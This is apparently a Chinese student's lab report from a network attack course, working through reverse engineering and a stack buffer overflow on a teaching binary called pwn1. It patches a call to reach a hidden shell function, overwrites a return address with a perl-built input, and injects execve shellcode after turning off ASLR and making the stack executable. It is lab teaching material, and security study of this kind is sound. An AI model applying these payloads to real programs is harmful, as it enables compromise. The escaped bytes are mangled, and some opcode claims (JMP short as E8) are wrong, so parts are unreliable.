2019-2020-2 网络对抗技术 20175213吕正宏 Exp1 PC平台逆向破解
一、实践说明
实践目标
-
对象:名为pwn1的linux可执行文件
-
程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串
-
学习目标:运行这个代码片段。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell而正常情况下这个代码是不会被运行的。
-
三个实践内容如下:
-
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
-
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
-
注入一个自己制作的shellcode并运行这段shellcode。
-
-
代表现实情况中的攻击目标的思路:
-
运行原本不可访问的代码片段。
-
强行修改程序执行流。
-
以及注入运行任意代码。
-
基础知识
-
需要掌握的内容:
-
熟悉Linux基本操作。能看懂常用指令,如管道(|),输入、输出重定向(>)等。
-
理解Bof的原理。能看得懂汇编、机器指令、EIP、指令地址。
-
会使用gdb,vi。
-
-
指令、参数。
-
理解思路。
二、 实践任务
1. 直接修改程序机器指令,改变程序执行流程
- 输入指令
objdump -d pwn1 | more
对pwn1
文件进行反汇编
-
分析反汇编的结果
-
main函数中
call 8048491 <foo>
是汇编指令,其机器码为e8 d7 ff ff ff
,e8即跳转的意思。这条指令将调用位于地址8048491处的foo函数。 -
其下一条指令的地址为
80484ba
,而机器码中的0xd7ffffff = 0x080484ba - 0x08048491
为主函数执行位置和foo函数起始地址的差(d7ffffff
是补码,表示-41)。 -
main函数调用foo,对应机器指令为
e8 d7ffffff
,
想让它调用getShell,只要修改d7ffffff
为getShell-80484ba
对应的补码就行。即0x080484ba - 0x0804847d = 0xffffffc3
。
-
-
输入指令
vi pwn1
打开以ASCII码显示的文件,但此时显示是乱码。
- 输入指令
:%!xxd
将文件转换为16进制查看。并找到d7ffffff
所在位置,输入i
进入插入模式,将d7
修改为c3
。
-
输入指令
:%!xxd -r
将文件转化为ASCII码形式,再输入:wq
保存并退出。 -
再输入指令
objdump -d pwn1 | more
查看,发现pwn1
文件已经被修改了。
- 此时再运行修改后的代码,就会得到shell提示符。
2. 通过构造输入参数,造成BOF攻击,改变程序执行流
- 通过反汇编的指令查看foo函数中为输入预留的空间
-
这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 。我们希望执行getShell函数,因此需要将getShell函数的地址放在返回地址(eip寄存器)处,即33~36字节(4为EBP占用的内存空间)。
-
上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
-
我们在
gdb pwn1
调试中中输入至少36字节的数据,如1111111122222222333333334444444412345678,发现Segmentation fault
的错误提示,且使用命令info r
可以查看到eip寄存器的地址为0x34333231
。
-
我们将33~36字节的内容替换为getShell的地址
0x0804847d
,字符串以ASCII码输入,同时机器为小端法,因此应为x7dx84x04x08
。即是输入11111111222222223333333344444444x7dx84x04x08
。 -
由于我们没法通过键盘输入
x7dx84x04x08
这样的16进制值,所以先生成包括这样字符串的一个文件。x0a
表示回车。于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
来生成这样的文件。然后使用cat
和xxd
查看input文件的内容是否如预期。
- 通过管道符
|
,输入命令(cat input; cat ) | ./pwn2
将构造的输入注入并运行,结果如下:
3. 注入Shellcode并执行
-
(1)构造buf的方法:该任务中我们可以观察到缓冲区的空间并不是很大并不是很大,同时经过老师视频的讲解,我们可以确定应该是采用将shellcode放在后面的方法,因此直接对第一种方法进行测试,结构为:
anything+retaddr+nops+shellcode
-
(2)准备工作:
-
先利用
apt-get install execstack
命令安装execstack软件包。 -
foo函数的局部变量不需要机器码,而我们需要将shellcoode注入缓存区,需先设置设置堆栈可执行。
execstack -s pwn3
设置堆栈可执行;
execstack -q pwn3
查询文件的堆栈是否可执行,结果为X表示可执行。 -
linux系统为了防范shellcode的注入攻击,在多次运行程序时寄存器的地址会发生改变,因此需关闭地址随机化。
-
more /proc/sys/kernel/randomize_va_space
查看随机化是否关闭;
echo "0" > /proc/sys/kernel/randomize_va_space
关闭随机化;
more /proc/sys/kernel/randomize_va_space
再次查看,结果为0证明已关闭。
-
(3)构造payload
-
参考老师给出的代码,我们首先构造一个input_shellcode:
-
perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode。
-
重新开启一个a终端(非root模式下),通过
(cat input_shellcode;cat) | ./pwn3
运行pwn3。 -
再开一个b终端,从中输入
ps -ef | grep pwn3
查看pwn3的进程号。
- 启用gdb调试并定位pwn3进程。
disassemble foo
进行反编译,可以看到ret指令的地址为0x080484ae
,在此处设置断点break *0x080484ae
。
-
在a终端中按下回车运行, 程序执行到断点停止。再在b终端输入c继续运行程序。
-
info r esp
查看esp寄存器地址。
x/16x 0xffffd390
以16进制形式查看0xffffd390地址后面16字节的内容
-
-
(4)修改输入并实现shellcode注入
-
修改注入代码的地址:
-
perl -e 'print "A" x 32;print"xd0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode。
-
输入命令
(cat input_shellcode;cat) | ./pwn3
运行发现shellcode注入成功。
-
三、 问题回答
- 什么是漏洞,漏洞有什么危害?
漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。
利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。
漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:90
JNE:75
JE:74
CMP:38~3D
JMP:
JMP short:E8
JMP near:E9
JMP word:FF
JMP far:EA
- 掌握反汇编器与十六进制编程器
反汇编指令:
objdump -d <file(s)>: 将代码段反汇编;
objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
objdump -C <file(s)>: 将C++符号名逆向解析
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section
十六进制编程器:是用来以16进制视图进行文本编辑的工具软件。
vim <filename> 以ASCII码形式显示可执行文件的内容
:%!xxd 将显示模式切换为16进制模式
:%!xxd 将16进制切换回ASCII码模式
四、 心得体会
在前几个学期的学习中,缓冲区溢出攻击一直是挂在嘴边的知识点。这一次也终于亲手尝试了一下。
虽然中途遇到很多挫折,但通过网上资料的查找和与同学交流的方式,这次实验也算圆满完成。
通过观看视频和亲手做实验,我也对缓冲区溢出有了更深入的了解,相信在以后的学习生活中,我也会多多动手,实践出真知。
五、遇到的问题和解决方法
- 问题一:在gdb调试时,显示“未找到命令”
- 解决:在root下使用命令
apt-get install gdb
安装。
- 问题二:gdb调试后出现
Detaching after fork from child process ***
错误。 - 解决:gdb报信息
Detaching after fork from child process ***
意思是debug只能跟踪一条进程,这句话是把没有被debug的进程报给你。但根本原因是我在gdb调试是沿用了之前已经被修改成恶意代码的pwn1,所以要在开始备份pwn1,再在这步调试。
- 问题三:再开另外一个终端用gdb调试pwn3时,显示“不允许的操作
” - 解决:不能在root模式下运行pwn3,需要重新开启个终端再运行pwn3,再开一个终端调试(总共三个终端)。